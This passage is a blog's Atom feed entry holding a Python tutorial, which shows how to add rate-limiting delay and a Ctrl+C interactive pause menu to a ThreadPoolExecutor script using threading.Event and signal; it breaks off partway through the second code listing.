<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="https://trebledj.me">
  <title>TrebledJ&#39;s Pages</title>
  <subtitle>TrebledJ&#39;s personal blog on programming, cybersecurity, music, and memes.</subtitle>
  <link href="https://trebledj.me/feeds/tutorial.xml" rel="self"/>
  <link href="https://trebledj.me"/>
  <updated>2025-03-10T00:00:00Z</updated>
  <id>https://trebledj.me</id>
  <author>
    <name>TrebledJ</name>
    <email>trebledjjj@gmail.com</email>
  </author>
  
    
      
      <entry>
        <title>Delay and Interactive Pause in Multi-Threaded Python</title>
        <description>It&#39;s like musical chairs for threads (except no one gets left behind)!</description>
        <link href="https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/"/>
        <updated>2025-03-10T00:00:00Z</updated>
        <id>https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Scanning the internet is not trivial, but Python excels at such network I/O tasks thanks to its simplicity and its vast ecosystem of libraries. Still, when dealing with the internet, it’s not uncommon to encounter rate-limited endpoints and strongly firewalled sites. For penetration testing and red-teaming, opsec is also an important consideration. This means features such as delay and interactive pause are crucial — I&#39;d even say desirable — to ensuring success and low false positives.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Delay&lt;/strong&gt; (or throttling) allows us to rate-limit requests fired below the 1-thread threshold.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interactive Pause&lt;/strong&gt; allows the user to adapt to changing circumstances. These include situations such as sudden network congestion leading to increased response time, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Web Application Firewalls&quot;&gt;WAFs&lt;/abbr&gt; kicking in due to excessive requests, local network failures, and sudden drops in bandwidth.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this post, I’ll be sharing how delay and interactive pause can be added to multithreaded Python scripts to enhance flexibility without compromising functionality.&lt;/p&gt;
&lt;p&gt;Our objective is to pause the script when the user hits Ctrl+C, enter an interactive menu, then resume when “c” or “continue” is entered. We&#39;ll accomplish this with Python&#39;s pre-packaged &lt;code&gt;threading.Event&lt;/code&gt; and &lt;code&gt;signal&lt;/code&gt; libraries. (No additional dependencies!)&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Diagram of UI flow when pausing and resuming.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-562w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-562w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 562 / 209&quot; alt=&quot;Diagram of UI flow when pausing and resuming.&quot; title=&quot;Diagram of UI flow when pausing and resuming.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-562w.webp 562w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 562px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Note: the first &lt;em&gt;&lt;strong&gt;&amp;quot;Running&amp;quot;&lt;/strong&gt;&lt;/em&gt; box extends slightly to the right, because threads may still be working even after Ctrl+C is hit. For instance, waiting for a response from an HTTP server.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;a-tale-of-two-scripts&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#a-tale-of-two-scripts&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; A Tale of Two Scripts&lt;/h2&gt;
&lt;p&gt;To best demonstrate the addition of our desired features, I&#39;ll be presenting two scripts, a &amp;quot;before&amp;quot; and &amp;quot;after&amp;quot;. I&#39;ll then highlight and explain the changes.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &amp;quot;before&amp;quot; is a very basic multithreading script. No delay and pause.&lt;/li&gt;
&lt;li&gt;The &amp;quot;after&amp;quot; is a robust working example of multithreading with delay and pause.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I’ll be demonstrating with Python threads via &lt;code&gt;concurrent.futures.ThreadPoolExecutor&lt;/code&gt;. Python offers two other concurrency primitives: processes (&lt;code&gt;multiprocessing&lt;/code&gt; / &lt;code&gt;ProcessPoolExecutor&lt;/code&gt;) and green threads (&lt;code&gt;asyncio&lt;/code&gt;). We won&#39;t discuss those today, but the gist is similar!&lt;/p&gt;
&lt;h3 id=&quot;basic-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#basic-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Basic Script&lt;/h3&gt;
&lt;div class=&quot;mb-2 rw center jw-80 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/demo1.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;A simple script. The user has barely any control over the execution flow aside from parameters. Sufficient for straightforward scripts though.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;mt_basic.py&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; time &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; sleep


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_do_stuff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;[thread] task started &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    thread_do_stuff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Simulate an IO task, e.g. requests.get().&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Start an executor with 2 threads and 10 tasks.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            not_done&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Process results while waiting.&lt;/span&gt;
            done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; done&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token comment&quot;&gt;# Handle thread result.&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                    future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished all tasks!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;__main__&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;mt_basic.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;fancy-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fancy-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Fancy Script&lt;/h3&gt;
&lt;div class=&quot;mb-2 rw center jw-80 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/demo2.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Similar to the previous script, but includes a small delay between tasks and two interactive pauses. The first pause occurs while the worker threads are &lt;em&gt;running &lt;code&gt;event.wait()&lt;/code&gt;&lt;/em&gt;, instantly responding with &amp;quot;Interrupt detected&amp;quot;. The second pause occurs while they are &lt;em&gt;working&lt;/em&gt; (which we assume is some blocking operation, like &lt;code&gt;requests.get()&lt;/code&gt;), and the interrupt won&#39;t be detected until the next task.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;mt_with_delay_and_pause.py&quot; data-diff=&quot;&quot; class=&quot;language-diff-python language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-python language-python&quot;&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; signal
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; threading &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Event
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; time &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; sleep
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Create global events which will be used across main and worker threads.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;pause_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;resume_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;quit_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# quit_evt can be a global bool variable too, since single write, multiple read&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# is thread-safe.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Handle incoming Ctrl+C with `signal`.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;handle_int_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _frame&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Save the original signal so that we can restore it later.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;py_int_signal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getsignal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_py_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; py_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_custom_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a custom &quot;sleep&quot; function which uses events under the hood.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Interrupt detected, waiting for resume.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Block until resume is triggered.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Indicate quit preference with a flag.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resumed, but still interrupted. Exiting thread.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;interrupt&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resuming...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_do_stuff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;[thread] task waiting &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    thread_delay&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Delay between tasks using threading.Event.&lt;/span&gt;
